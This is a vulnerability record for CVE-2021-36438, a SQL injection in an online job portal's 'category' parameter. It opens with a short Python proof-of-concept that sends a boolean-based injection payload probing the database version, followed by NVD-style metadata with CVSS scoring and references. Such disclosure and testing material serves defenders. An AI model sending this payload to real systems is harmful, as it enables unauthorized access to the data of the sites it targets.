CVE-2021-36438

import requests # Target URL configuration target_url = "http://target/jobportal/index.php" # Malicious payload to test SQL injection # Checking for time-based blind injection or error based payload = { "category": "1' AND (SELECT SUBSTRING(@@version,1,1))='5'-- -" } try: response = requests.get(target_url, params=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response content for database errors or time delays.") except Exception as e: print(f"[-] Error occurred: {e}")

{"cve": {"id": "CVE-2021-36438", "sourceIdentifier": "[email protected]", "published": "2026-04-27T19:16:10.453", "lastModified": "2026-04-28T15:16:04.533", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL Injection vulnerability exists in Sourcecodester Online Job Portal phppdo 1.0 ivia the category parameter in /jobportal/index.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://thecyberpost.com/tools/exploits-cve/online-job-portal-in-php-pdo-1-0-sql-injection/", "source": "[email protected]"}, {"url": "https://www.linkedin.com/in/mohamed-elobeid-oscp-ewptxv2-crtp-cissp-mba-537ba485/", "source": "[email protected]"}, {"url": "https://thecyberpost.com/tools/exploits-cve/online-job-portal-in-php-pdo-1-0-sql-injection/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}